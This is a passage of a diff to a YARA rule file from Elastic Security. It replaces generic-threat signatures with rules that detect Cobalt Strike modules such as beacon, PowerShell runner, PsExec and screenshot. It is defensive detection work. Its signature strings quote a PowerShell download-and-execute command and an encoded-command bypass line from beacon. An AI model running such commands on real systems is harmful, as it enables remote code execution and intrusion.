+		$b7 = "User's Comment" wide fullword
+		$b8 = "List of hosts for domain '%s':" ascii fullword
+		$b9 = "Password changeable" ascii fullword
+		$b10 = "Logged on users at \\\\%s:" ascii fullword
 
 	condition:
-		all of them
+		2 of ($a*) or 6 of ($b*)
 }
-rule ELASTIC_Windows_Generic_Threat_4578Ee8C : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Cobaltstrike_5B4383Ec : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Identifies Portscan module from Cobalt Strike"
 		author = "Elastic Security"
-		id = "4578ee8c-9dfc-4fb2-b5dc-8f55b6ee26d0"
-		date = "2024-02-14"
-		modified = "2024-06-12"
+		id = "5b4383ec-3c93-4e91-850e-d43cc3a86710"
+		date = "2021-03-23"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L2578-L2596"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "699fecdb0bf27994d67492dc480f4ba1320acdd75e5881afbc5f73c982453fed"
-		logic_hash = "1a519bb84aae29057536ea09e53ff97cfe34a70c84ac6fa7d1ec173de3754f03"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_CobaltStrike.yar#L362-L392"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "033bd831209958674f6309739d65c58d05acb9d17e53cede1cf171c6d6e84efa"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "3a40e6e8f35c5c114b1b0175723d9403c357bba7170c4350194d40d4a2c94c61"
-		severity = 50
+		fingerprint = "283d3d2924e92b31f26ec4fc6b79c51bd652fb1377b6985b003f09f8c3dba66c"
+		threat_name = "Windows.Trojan.CobaltStrike"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 55 73 65 72 2D 41 67 65 6E 74 3A 4D 6F 7A 69 6C 6C 61 2F 34 2E 30 20 28 63 6F 6D 70 61 74 69 62 6C 65 3B 20 4D 53 49 45 20 25 64 2E 30 3B 20 57 69 6E 64 6F 77 73 20 4E 54 20 25 64 2E 31 3B 20 53 56 31 29 }
+		$a1 = "portscan.x64.dll" ascii fullword
+		$a2 = "portscan.dll" ascii fullword
+		$a3 = "\\\\.\\pipe\\portscan" ascii fullword
+		$b1 = "(ICMP) Target '%s' is alive. [read %d bytes]" ascii fullword
+		$b2 = "(ARP) Target '%s' is alive. " ascii fullword
+		$b3 = "TARGETS!12345" ascii fullword
+		$b4 = "ReflectiveLoader" ascii fullword
+		$b5 = "%s:%d (platform: %d version: %d.%d name: %S domain: %S)" ascii fullword
+		$b6 = "Scanner module is complete" ascii fullword
+		$b7 = "pingpong" ascii fullword
+		$b8 = "PORTS!12345" ascii fullword
+		$b9 = "%s:%d (%s)" ascii fullword
+		$b10 = "PREFERENCES!12345" ascii fullword
 
 	condition:
-		all of them
+		2 of ($a*) or 6 of ($b*)
 }
-rule ELASTIC_Windows_Generic_Threat_Ebf62328 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Cobaltstrike_91E08059 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Identifies Post Ex module from Cobalt Strike"
 		author = "Elastic Security"
-		id = "ebf62328-f069-43f2-b943-6ddf64f04fb2"
-		date = "2024-02-14"
-		modified = "2024-06-12"
+		id = "91e08059-46a8-47d0-91c9-e86874951a4a"
+		date = "2021-03-23"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L2598-L2618"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "dfce19aa2e1a3e983c3bfb2e4bbd7617b96d57602d7a6da6fee7b282e354c9e1"
-		logic_hash = "e99b56dde761c5efad14f935befa4d1dbb31cd305b5d6af05a90d44dc3cd0098"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_CobaltStrike.yar#L394-L421"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "d5a8c1a0baa5e915cff29bcac33e30a7d7260f938ecaa6171d3aa88425a69266"
 		score = 75
-		quality = 69
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "44cce86a986cbb051f1b94c2d5b54830cbe7de1f3387e207bd6b267a5166bbe7"
-		severity = 50
+		fingerprint = "d8baacb58a3db00489827275ad6a2d007c018eaecbce469356b068d8a758634b"
+		threat_name = "Windows.Trojan.CobaltStrike"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 74 52 75 50 5B 5D 5F 5E 41 5C 41 5D 41 5E }
-		$a2 = { 5F 5E 41 5C 41 5E 41 5F 74 7A 75 78 }
-		$a3 = { 44 64 71 52 71 77 7C 61 69 41 66 6E 68 73 6F 72 48 60 6C 65 49 46 }
+		$a1 = "postex.x64.dll" ascii fullword
+		$a2 = "postex.dll" ascii fullword
+		$a3 = "RunAsAdminCMSTP" ascii fullword
+		$a4 = "KerberosTicketPurge" ascii fullword
+		$b1 = "GetSystem" ascii fullword
+		$b2 = "HelloWorld" ascii fullword
+		$b3 = "KerberosTicketUse" ascii fullword
+		$b4 = "SpawnAsAdmin" ascii fullword
+		$b5 = "RunAsAdmin" ascii fullword
+		$b6 = "NetDomain" ascii fullword
 
 	condition:
-		all of them
+		2 of ($a*) or 4 of ($b*)
 }
-rule ELASTIC_Windows_Generic_Threat_Dcc622A4 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Cobaltstrike_Ee756Db7 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Attempts to detect Cobalt Strike based on strings found in BEACON"
 		author = "Elastic Security"
-		id = "dcc622a4-5c10-463b-a950-fc728f990bca"
-		date = "2024-02-14"
-		modified = "2024-06-12"
+		id = "ee756db7-e177-41f0-af99-c44646d334f7"
+		date = "2021-03-23"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L2620-L2638"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "94a3f10396c07783586070119becf0924de9a7caf449d6e07065837d54e6222d"
-		logic_hash = "9254226918f39389ccc347de1c5064552a8500ccef1884b8e27b6e98c651f45b"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_CobaltStrike.yar#L423-L491"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "8d594aa1b889e80000cfcedbfc470a1b768bdcc2a9c436cd449b495c91011918"
 		score = 75
-		quality = 73
+		quality = 50
 		tags = "FILE, MEMORY"
-		fingerprint = "b47bd4baa68dc56948f29882cf5762b0af2d9f2a837349add4f5d0a8d4152cb2"
-		severity = 50
+		fingerprint = "e589cc259644bc75d6c4db02a624c978e855201cf851c0d87f0d54685ce68f71"
+		threat_name = "Windows.Trojan.CobaltStrike"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 5B 21 5D 20 45 72 72 6F 72 20 77 72 69 74 69 6E 67 20 73 68 65 6C 6C 63 6F 64 65 20 74 6F 20 74 68 65 20 74 61 72 67 65 74 20 64 72 69 76 65 72 2C 20 61 62 6F 72 74 }
+		$a1 = "%s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s" ascii fullword
+		$a2 = "%s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s" ascii fullword
+		$a3 = "ppid %d is in a different desktop session (spawned jobs may fail). Use 'ppid' to reset." ascii fullword
+		$a4 = "IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s" ascii fullword
+		$a5 = "IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/')" ascii fullword
+		$a6 = "%s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s" ascii fullword
+		$a7 = "could not run command (w/ token) because of its length of %d bytes!" ascii fullword
+		$a8 = "%s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s" ascii fullword
+		$a9 = "%s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s" ascii fullword
+		$a10 = "powershell -nop -exec bypass -EncodedCommand \"%s\"" ascii fullword
+		$a11 = "Could not open service control manager on %s: %d" ascii fullword
+		$a12 = "%d is an x64 process (can't inject x86 content)" ascii fullword
+		$a13 = "%d is an x86 process (can't inject x64 content)" ascii fullword
+		$a14 = "Failed to impersonate logged on user %d (%u)" ascii fullword
+		$a15 = "could not create remote thread in %d: %d" ascii fullword
+		$a16 = "%s.1%08x%08x%08x%08x%08x%08x%08x.%x%x.%s" ascii fullword
+		$a17 = "could not write to process memory: %d" ascii fullword
+		$a18 = "Could not create service %s on %s: %d" ascii fullword
+		$a19 = "Could not delete service %s on %s: %d" ascii fullword
+		$a20 = "Could not open process token: %d (%u)" ascii fullword
+		$a21 = "%s.1%08x%08x%08x%08x%08x%08x.%x%x.%s" ascii fullword
+		$a22 = "Could not start service %s on %s: %d" ascii fullword
+		$a23 = "Could not query service %s on %s: %d" ascii fullword
+		$a24 = "Could not connect to pipe (%s): %d" ascii fullword
+		$a25 = "%s.1%08x%08x%08x%08x%08x.%x%x.%s" ascii fullword
+		$a26 = "could not spawn %s (token): %d" ascii fullword
+		$a27 = "could not open process %d: %d" ascii fullword
+		$a28 = "could not run %s as %s\\%s: %d" ascii fullword
+		$a29 = "%s.1%08x%08x%08x%08x.%x%x.%s" ascii fullword
+		$a30 = "kerberos ticket use failed:" ascii fullword
+		$a31 = "Started service %s on %s" ascii fullword
+		$a32 = "%s.1%08x%08x%08x.%x%x.%s" ascii fullword
+		$a33 = "I'm already in SMB mode" ascii fullword
+		$a34 = "could not spawn %s: %d" ascii fullword
+		$a35 = "could not open %s: %d" ascii fullword
+		$a36 = "%s.1%08x%08x.%x%x.%s" ascii fullword
+		$a37 = "Could not open '%s'" ascii fullword
+		$a38 = "%s.1%08x.%x%x.%s" ascii fullword
+		$a39 = "%s as %s\\%s: %d" ascii fullword
+		$a40 = "%s.1%x.%x%x.%s" ascii fullword
+		$a41 = "beacon.x64.dll" ascii fullword
+		$a42 = "%s on %s: %d" ascii fullword
+		$a43 = "www6.%x%x.%s" ascii fullword
+		$a44 = "cdn.%x%x.%s" ascii fullword
+		$a45 = "api.%x%x.%s" ascii fullword
+		$a46 = "%s (admin)" ascii fullword
+		$a47 = "beacon.dll" ascii fullword
+		$a48 = "%s%s: %s" ascii fullword
+		$a49 = "@%d.%s" ascii fullword
+		$a50 = "%02d/%02d/%02d %02d:%02d:%02d" ascii fullword
+		$a51 = "Content-Length: %d" ascii fullword
 
 	condition:
-		all of them
+		6 of ($a*)
 }
-rule ELASTIC_Windows_Generic_Threat_046Aa1Ec : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Cobaltstrike_9C0D5561 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Identifies PowerShell Runner module from Cobalt Strike"
 		author = "Elastic Security"
-		id = "046aa1ec-5134-4a03-85c2-048b5d363484"
-		date = "2024-02-20"
-		modified = "2024-06-12"
+		id = "9c0d5561-5b09-44ae-8e8c-336dee606199"
+		date = "2021-03-23"
+		modified = "2021-10-04"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L2640-L2658"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c74cf499fb9298d43a6e64930addb1f8a8d8336c796b9bc02ffc260684ec60a2"
-		logic_hash = "da6552da3db4851806f5a0ce3c324a79acf4ee4b2690cb02cc8d8c88a2ba28f8"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_CobaltStrike.yar#L493-L523"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "a8929266950e0f540a68c4fedf708e8ddc27f208f9f2866245ad7bb7f6d87913"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "46591671500f83b6627a17368a0bbe43650da1dd58ba1a136a47818fe685bc68"
-		severity = 50
+		fingerprint = "01d53fcdb320f0cd468a2521c3e96dcb0b9aa00e7a7a9442069773c6b3759059"
+		threat_name = "Windows.Trojan.CobaltStrike"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 83 C4 F4 D9 7D FE 66 8B 45 FE 80 CC 0C 66 89 45 FC D9 6D FC DF 7D F4 D9 6D FE 8B 45 F4 8B 55 F8 8B E5 5D C3 55 8B EC 51 33 D2 8D 5D 08 8B 03 83 C3 04 85 C0 74 03 03 50 04 49 75 F1 85 }
+		$a1 = "PowerShellRunner.dll" wide fullword
+		$a2 = "powershell.x64.dll" ascii fullword
+		$a3 = "powershell.dll" ascii fullword
+		$a4 = "\\\\.\\pipe\\powershell" ascii fullword
+		$b1 = "PowerShellRunner.PowerShellRunner" ascii fullword
+		$b2 = "Failed to invoke GetOutput w/hr 0x%08lx" ascii fullword
+		$b3 = "Failed to get default AppDomain w/hr 0x%08lx" ascii fullword
+		$b4 = "ICLRMetaHost::GetRuntime (v4.0.30319) failed w/hr 0x%08lx" ascii fullword
+		$b5 = "CustomPSHostUserInterface" ascii fullword
+		$b6 = "RuntimeClrHost::GetCurrentAppDomainId failed w/hr 0x%08lx" ascii fullword
+		$b7 = "ICorRuntimeHost::GetDefaultDomain failed w/hr 0x%08lx" ascii fullword
+		$c1 = { 8B 08 50 FF 51 08 8B 7C 24 1C 8D 4C 24 10 51 C7 }
+		$c2 = "z:\\devcenter\\aggressor\\external\\PowerShellRunner\\obj\\Release\\PowerShellRunner.pdb" ascii fullword
 
 	condition:
-		all of them
+		(1 of ($a*) and 4 of ($b*)) or 1 of ($c*)
 }
-rule ELASTIC_Windows_Generic_Threat_85C73807 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Cobaltstrike_59Ed9124 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Identifies PsExec module from Cobalt Strike"
 		author = "Elastic Security"
-		id = "85c73807-4181-4d4a-ba51-6ed923121486"
-		date = "2024-02-20"
-		modified = "2024-06-12"
+		id = "59ed9124-bc20-4ea6-b0a7-63ee3359e69c"
+		date = "2021-03-23"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L2660-L2678"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "7f560a22c1f7511518656ac30350229f7a6847d26e1b3857e283f7dcee2604a0"
-		logic_hash = "90aa64f17b91ccdf367e1976cd1f5e89e15c7369a58b2d19187143e70939d756"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_CobaltStrike.yar#L525-L560"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "a50fd291f5f1bf7ec41b1938a32473a23c3c082018b86eab87aff0d95b26ba06"
 		score = 75
-		quality = 75
+		quality = 43
 		tags = "FILE, MEMORY"
-		fingerprint = "8b63723aa1b89149c360048900a18e25a0a615f50cec1aaadca2578684f5bcb2"
-		severity = 50
+		fingerprint = "7823e3b98e55a83bf94b0f07e4c116dbbda35adc09fa0b367f8a978a80c2efff"
+		threat_name = "Windows.Trojan.CobaltStrike"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 55 8B EC 51 53 56 57 89 4D FC 8B DA 8B F0 8B 7D 08 C6 86 18 01 00 00 00 8B C3 E8 15 01 00 00 84 C0 75 0E 8B 55 FC 8B C6 8B CF E8 45 F8 FF FF EB 0F 56 57 8B FE 8B F3 B9 47 00 00 00 F3 A5 5F 5E }
+		$a1 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\psexec_command.x64.o" ascii fullword
+		$a2 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\psexec_command.x86.o" ascii fullword
+		$b1 = "__imp_BeaconDataExtract" ascii fullword
+		$b2 = "__imp_BeaconDataParse" ascii fullword
+		$b3 = "__imp_BeaconDataParse" ascii fullword
+		$b4 = "__imp_BeaconDataParse" ascii fullword
+		$b5 = "__imp_ADVAPI32$StartServiceA" ascii fullword
+		$b6 = "__imp_ADVAPI32$DeleteService" ascii fullword
+		$b7 = "__imp_ADVAPI32$QueryServiceStatus" ascii fullword
+		$b8 = "__imp_ADVAPI32$CloseServiceHandle" ascii fullword
+		$c1 = "__imp__BeaconDataExtract" ascii fullword
+		$c2 = "__imp__BeaconDataParse" ascii fullword
+		$c3 = "__imp__BeaconDataParse" ascii fullword
+		$c4 = "__imp__BeaconDataParse" ascii fullword
+		$c5 = "__imp__ADVAPI32$StartServiceA" ascii fullword
+		$c6 = "__imp__ADVAPI32$DeleteService" ascii fullword
+		$c7 = "__imp__ADVAPI32$QueryServiceStatus" ascii fullword
+		$c8 = "__imp__ADVAPI32$CloseServiceHandle" ascii fullword
 
 	condition:
-		all of them
+		1 of ($a*) or 5 of ($b*) or 5 of ($c*)
 }
-rule ELASTIC_Windows_Generic_Threat_642Df623 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Cobaltstrike_8A791Eb7 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Identifies Registry module from Cobalt Strike"
 		author = "Elastic Security"
-		id = "642df623-00ae-48a9-8d61-aaa688606807"
-		date = "2024-02-20"
-		modified = "2024-06-12"
+		id = "8a791eb7-dc0c-4150-9e5b-2dc21af0c77d"
+		date = "2021-03-23"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L2680-L2698"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "e5ba85d1a6a54df38b5fa655703c3457783f4a4f71e178f83d8aac878d4847da"
-		logic_hash = "555eb66f117312fa4ff3a49c0c40f89caddec3eb4b93d11bda2cce40529d46a0"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_CobaltStrike.yar#L562-L597"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "d1765e6cac9b1560d6484baa1fa5a1bc0b768a72b389c7c6a60e34115669933e"
 		score = 75
-		quality = 75
+		quality = 43
 		tags = "FILE, MEMORY"
-		fingerprint = "fb2c74f7e3e7f4e25173c375fe863e643183da4f5d718d61fdd0271fcc581deb"
-		severity = 50
+		fingerprint = "4967886ba5e663f2e2dc0631939308d7d8f2194a30590a230973e1b91bd625e1"
+		threat_name = "Windows.Trojan.CobaltStrike"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 55 8B EC 50 B8 04 00 00 00 81 C4 04 F0 FF FF 50 48 75 F6 8B 45 FC 81 C4 3C FE FF FF 53 56 57 64 8B 05 30 00 00 00 8B 40 0C 8B 40 0C 8B 00 8B 00 8B 40 18 89 45 FC 33 C9 8B 45 FC 89 45 DC 8B 45 }
+		$a1 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\registry.x64.o" ascii fullword
+		$a2 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\registry.x86.o" ascii fullword
+		$b1 = "__imp_ADVAPI32$RegOpenKeyExA" ascii fullword
+		$b2 = "__imp_ADVAPI32$RegEnumKeyA" ascii fullword
+		$b3 = "__imp_ADVAPI32$RegOpenCurrentUser" ascii fullword
+		$b4 = "__imp_ADVAPI32$RegCloseKey" ascii fullword
+		$b5 = "__imp_BeaconFormatAlloc" ascii fullword
+		$b6 = "__imp_BeaconOutput" ascii fullword
+		$b7 = "__imp_BeaconFormatFree" ascii fullword
+		$b8 = "__imp_BeaconDataPtr" ascii fullword
+		$c1 = "__imp__ADVAPI32$RegOpenKeyExA" ascii fullword
+		$c2 = "__imp__ADVAPI32$RegEnumKeyA" ascii fullword
+		$c3 = "__imp__ADVAPI32$RegOpenCurrentUser" ascii fullword
+		$c4 = "__imp__ADVAPI32$RegCloseKey" ascii fullword
+		$c5 = "__imp__BeaconFormatAlloc" ascii fullword
+		$c6 = "__imp__BeaconOutput" ascii fullword
+		$c7 = "__imp__BeaconFormatFree" ascii fullword
+		$c8 = "__imp__BeaconDataPtr" ascii fullword
 
 	condition:
-		all of them
+		1 of ($a*) or 5 of ($b*) or 5 of ($c*)
 }
-rule ELASTIC_Windows_Generic_Threat_27A2994F : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Cobaltstrike_D00573A3 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Identifies Screenshot module from Cobalt Strike"
 		author = "Elastic Security"
-		id = "27a2994f-18e4-4608-bda6-ee76b6afd357"
-		date = "2024-02-20"
-		modified = "2024-06-12"
+		id = "d00573a3-db26-4e6b-aabf-7af4a818f383"
+		date = "2021-03-23"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L2700-L2718"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "e534914e06d90e119ce87f5abb446c57ec3473a29a7a9e7dc066fdc00dc68adc"
-		logic_hash = "66f34ba3052e2369528aeaf076f10d58f8f3dca420666246e02191fecb057f8c"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_CobaltStrike.yar#L599-L625"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "e458d41d28b76c989af6385f183f33aa9e11b93e529f032e95bd75433b80bd69"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "33d3f5b2c5fed68b19e14d6a35ee8db4ba3d6d566c87e24fc7a9223235cbd0ee"
-		severity = 50
+		fingerprint = "b6fa0792b99ea55f359858d225685647f54b55caabe53f58b413083b8ad60e79"
+		threat_name = "Windows.Trojan.CobaltStrike"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 55 8B EC 51 53 56 57 83 7D 08 00 75 05 E9 88 00 00 00 6A 09 E8 D7 FD FF FF 83 C4 04 8B 45 08 83 E8 20 89 45 FC 8B 4D FC 8B 51 14 81 E2 FF FF 00 00 83 FA 04 74 41 8B 45 FC 83 78 14 01 74 38 8B }
+		$a1 = "screenshot.x64.dll" ascii fullword
+		$a2 = "screenshot.dll" ascii fullword
+		$a3 = "\\\\.\\pipe\\screenshot" ascii fullword
+		$b1 = "1I1n1Q3M5Q5U5Y5]5a5e5i5u5{5" ascii fullword
+		$b2 = "GetDesktopWindow" ascii fullword
+		$b3 = "CreateCompatibleBitmap" ascii fullword
+		$b4 = "GDI32.dll" ascii fullword
+		$b5 = "ReflectiveLoader"
+		$b6 = "Adobe APP14 marker: version %d, flags 0x%04x 0x%04x, transform %d" ascii fullword
 
 	condition:
-		all of them
+		2 of ($a*) or 5 of ($b*)
 }
-rule ELASTIC_Windows_Generic_Threat_Dbceec58 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Cobaltstrike_7Bcd759C : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Identifies SSH Agent module from Cobalt Strike"
 		author = "Elastic Security"
-		id = "dbceec58-0b98-470c-8439-23aa26b4064f"
-		date = "2024-02-20"
-		modified = "2024-06-12"
+		id = "7bcd759c-8e3d-4559-9381-1f4fe8b3dd95"
+		date = "2021-03-23"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L2720-L2738"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "fbec30528e6f261aebf0d41f3cd6d35fcc937f1e20e1070f99b1b327f02b91e0"
-		logic_hash = "2a99fb7b342b43e3a4f0136d7d618625ca5708ae32e6fcabb11420bd8c89915b"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_CobaltStrike.yar#L627-L648"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "bfbb8e8009182e87c49242ec3da6e98b23447b646f5c7ea5f97196ae929d7c5f"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "5f470a7367ebbffebae8384aa552b3e9b1bda6bf4a3241bda047970341ee7c4c"
-		severity = 50
+		fingerprint = "553085f1d1ca8dcd797360b287951845753eee7370610a1223c815a200a5ed20"
+		threat_name = "Windows.Trojan.CobaltStrike"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 83 EC 14 83 7D 08 00 74 0C 83 7D 0C 00 74 06 83 7D 10 00 75 08 8B 45 08 E9 87 00 00 00 8B 45 08 89 45 FC 8B 45 0C 89 45 F8 8B 45 10 C1 E8 02 89 45 EC 83 65 F4 00 EB 07 8B 45 F4 40 89 }
+		$a1 = "sshagent.x64.dll" ascii fullword
+		$a2 = "sshagent.dll" ascii fullword
+		$b1 = "\\\\.\\pipe\\sshagent" ascii fullword
+		$b2 = "\\\\.\\pipe\\PIPEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" ascii fullword
 
 	condition:
-		all of them
+		1 of ($a*) and 1 of ($b*)
 }
-rule ELASTIC_Windows_Generic_Threat_7407Eb79 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Cobaltstrike_A56B820F : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Identifies Timestomp module from Cobalt Strike"
 		author = "Elastic Security"
-		id = "7407eb79-69fd-4f5c-b883-ceb74fbdc9d5"
-		date = "2024-02-20"
-		modified = "2024-06-12"
+		id = "a56b820f-0a20-4054-9c2d-008862646a78"
+		date = "2021-03-23"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L2740-L2758"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "9ae0f053c8e2c4f4381eac8265170b79301d4a22ec1fdb86e5eb212c51a75d14"
